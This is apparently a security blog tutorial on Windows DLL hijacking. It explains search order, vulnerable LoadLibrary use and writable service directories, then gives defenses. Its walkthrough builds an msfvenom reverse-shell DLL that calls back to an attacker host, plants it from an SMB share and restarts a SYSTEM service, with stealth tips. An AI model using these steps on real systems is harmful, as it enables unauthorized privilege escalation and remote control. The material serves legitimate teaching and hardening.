Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Windows applications rarely link every function they need at compile time. Instead they call LoadLibrary/LoadLibraryEx (directly, or indirectly through the import table resolved by the loader at process start) to pull in a Dynamic Link Library by name at runtime. When that name is not an absolute path, the loader has to go looking for a file called, say, version.dll or wlbsctrl.dll, and it does so by walking a fixed, predictable DLL search order. DLL hijacking is the abuse of that search order: if an attacker can place a malicious DLL with the expected name somewhere the loader checks *before* the legitimate copy, or before a copy that does not exist at all, their code runs inside the target process — with that process’s privileges and its parent’s execution context.
This matters for privilege escalation because a huge number of Windows services, scheduled tasks, and third-party agents run as NT AUTHORITY\SYSTEM or another privileged account while loading DLLs from locations a standard user can write to. It also matters for persistence and defense evasion: side-loading a malicious DLL through a legitimately signed, trusted host binary is a mainstay of both commodity malware and nation-state tradecraft (MITRE ATT&CK T1574.001/T1574.002), because security products that trust the signed parent EXE often extend implicit trust to whatever it loads.
Attack Prerequisites
DLL hijacking is really a family of related techniques, but they all share the same underlying requirements:
- A privileged process (service, scheduled task, or SYSTEM-run agent) that loads a DLL by name rather than by a fully-qualified, signature-verified path.
- A writable location earlier in the resolution order than the genuine DLL — the application’s own directory, a directory on
PATH, or, for phantom hijacks, any location the loader checks for a DLL that does not exist on disk at all. - A restart trigger — service restart, scheduled task run, user logon, or a reboot — so the target process reloads and resolves the planted DLL.
- The target DLL name/exports must be known (or reproducible via a proxy DLL) so the malicious library can either stand alone or forward calls to the real DLL to keep the host application from crashing.
How It Works
When a module is loaded without an absolute path and SafeDllSearchMode is enabled (the default since Windows XP SP2), the loader searches, in order: (1) the directory the executable was loaded from, (2) the system directory (C:\Windows\System32), (3) the 16-bit system directory, (4) the Windows directory, (5) the current working directory, and finally (6) each directory listed in the PATH environment variable. Before any of that happens, the loader first checks the KnownDLLs list (HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs) — DLLs registered there are always loaded from System32 and cannot be hijacked via search order, which is why classic hijack targets are DLLs that are *not* in that list.
Three flavors are worth distinguishing. Search-order hijacking plants a malicious DLL with the same name as a legitimate one in a location that is checked *earlier* than where the real DLL actually lives — most commonly the application’s own directory, which sits ahead of System32. Phantom DLL hijacking targets a DLL name the application probes for but that does not exist anywhere on the system (dead code paths, optional/legacy dependencies, or DLLs referenced by name that were removed in a later Windows version) — no race with a real file is even needed. DLL side-loading abuses signed, legitimate applications that ship with a companion DLL in their install directory; copying the signed EXE alongside an attacker-controlled DLL of the expected name into a writable directory causes the trusted binary to load attacker code, which is especially valuable for bypassing application-whitelisting rules keyed on the parent EXE’s signature.
Once the malicious DLL is loaded, code execution happens in DllMain at DLL_PROCESS_ATTACH, before the application has even called any exported function — so a functional export table is only needed if the host application will otherwise crash from a missing symbol, which is why hijack payloads are frequently written as *proxy DLLs* that implement the malicious logic in DllMain and then forward every expected export to the genuine, renamed original DLL.
Vulnerable Code / Configuration
The vulnerable pattern is an application (frequently a service binary) that resolves a dependency by bare name instead of a fully qualified, validated path:
// VULNERABLE: bare name lets the OS search-order decide where
// the DLL is loaded from; an attacker-writable directory earlier
// in that order wins over the legitimate System32 copy.
HMODULE h = LoadLibraryA("version.dll");
if (h) {
FARPROC fn = GetProcAddress(h, "GetFileVersionInfoW");
// ... call fn ...
}
// SAFE alternative:
// LoadLibraryExW(L"C:\\Windows\\System32\\version.dll", NULL,
// LOAD_LIBRARY_SEARCH_SYSTEM32);
CThe configuration half of the bug is a service whose install directory (or a directory ahead of it in the search order) is writable by a low-privileged principal — icacls reveals this directly:
C:\> icacls "C:\Program Files\VendorApp"
C:\Program Files\VendorApp BUILTIN\Users:(OI)(CI)(M)
NT AUTHORITY\SYSTEM:(OI)(CI)(F)
BUILTIN\Administrators:(OI)(CI)(F)
C:\> sc qc VendorSvc
SERVICE_NAME: VendorSvc
BINARY_PATH_NAME : C:\Program Files\VendorApp\vendorsvc.exe
SERVICE_START_NAME: LocalSystem
# BUILTIN\Users has (M)odify on the service's own directory, and
# vendorsvc.exe LoadLibrary's "version.dll" by bare name -> any
# authenticated user can drop a malicious version.dll right next
# to the SYSTEM-run executable.
TEXTWalkthrough / Exploitation
Discovery starts with Process Monitor filtered to catch failed or attacker-writable resolutions on the target host:
# Sysinternals Process Monitor filters:
# Process Name is vendorsvc.exe
# Result is NAME NOT FOUND
# Path ends with .dll
# Any hit shows the exact directory list the process probed, in order.
TEXTPowerUp / PowerSploit automates the same hunt for services specifically, cross-referencing writable service directories with running services:
Import-Module .\PowerUp.ps1
Find-PathDLLHijack # writable directories on PATH
Find-ServiceDLLHijack # writable service install directories
PowerShellWith a target DLL name and writable path in hand, generate a malicious DLL. A standalone reverse-shell payload is simplest when the host application does not strictly require the missing exports to keep running:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 \
-f dll -o version.dll
BashC:\> copy \\10.10.14.5\share\version.dll "C:\Program Files\VendorApp\version.dll"
C:\> sc stop VendorSvc
C:\> sc start VendorSvc
# vendorsvc.exe (running as LocalSystem) LoadLibrary's the planted
# version.dll from its own directory -> DllMain executes the
# payload as SYSTEM, and the reverse shell calls back.
TEXTIf the service cannot be restarted by the current user, plant the DLL and wait for a scheduled restart or a reboot instead — many privileged auto-start services and scheduled tasks reload their dependencies on every boot, so persistence and privesc converge on the same primitive.
Note: Not every hijackable DLL name is a free win — some exports must be faithfully forwarded or the host process crashes before your payload runs. Build a proxy DLL (msvcrt’s
#pragma comment(linker, "/export:...")or dedicated tools such as Spartacus/DLLirant) that renames the legitimate DLL, forwards every real export to it, and runs your code only inDllMain, so the application keeps working and the hijack stays stealthy.
Opsec: KnownDLLs (checked via
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs") can never be hijacked by search order — do not waste time on names listed there. Also prefer targeting phantom (nonexistent) DLLs over shadowing real ones: there is no genuine file to race against, and no risk of corrupting a working application if the payload misbehaves.
Detection and Defense
Defense is mostly about removing ambiguity from the resolution process and locking down where DLLs can be written:
- Load by fully-qualified path with
LOAD_LIBRARY_SEARCH_SYSTEM32or equivalent flags inLoadLibraryEx, and callSetDefaultDllDirectoriesto remove the current working directory andPATHfrom consideration. - Tighten ACLs on application and service install directories so only Administrators/SYSTEM can write — audit with
icaclsand Sysinternalsaccesschk.exe -wvu. - Application/WDAC allow-listing and code signing enforcement stop unsigned proxy DLLs from loading even if planted successfully.
- Sysmon Event ID 7 (Image loaded) filtered to unusual/unsigned DLLs loading from user-writable paths, and Event ID 11 (File created) for new
.dllfiles dropped into program directories, are the primary detection signals. - Process Monitor / PowerUp during hardening reviews to proactively find phantom and search-order hijack candidates before an attacker does.
Real-World Impact
DLL search-order hijacking and side-loading are staple techniques in both criminal and state-sponsored intrusion sets precisely because they let malicious code inherit the trust of a legitimately signed host binary — this is documented extensively under MITRE ATT&CK T1574.001 (DLL Search Order Hijacking) and T1574.002 (DLL Side-Loading). On engagements it is one of the most common privilege-escalation findings against third-party Windows agents (backup, monitoring, and update software) whose installers loosen directory ACLs beyond what the vendor’s own security model assumes.
Conclusion
DLL hijacking exists because dynamic linking on Windows resolves bare module names through a search order that predates modern threat models, and because installers routinely leave writable directories in that search path. The fix is architectural, not incidental: load dependencies by absolute, verified path, restrict directory ACLs to the principle of least privilege, and enforce code-signing so that even a successfully planted DLL never gets to execute.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments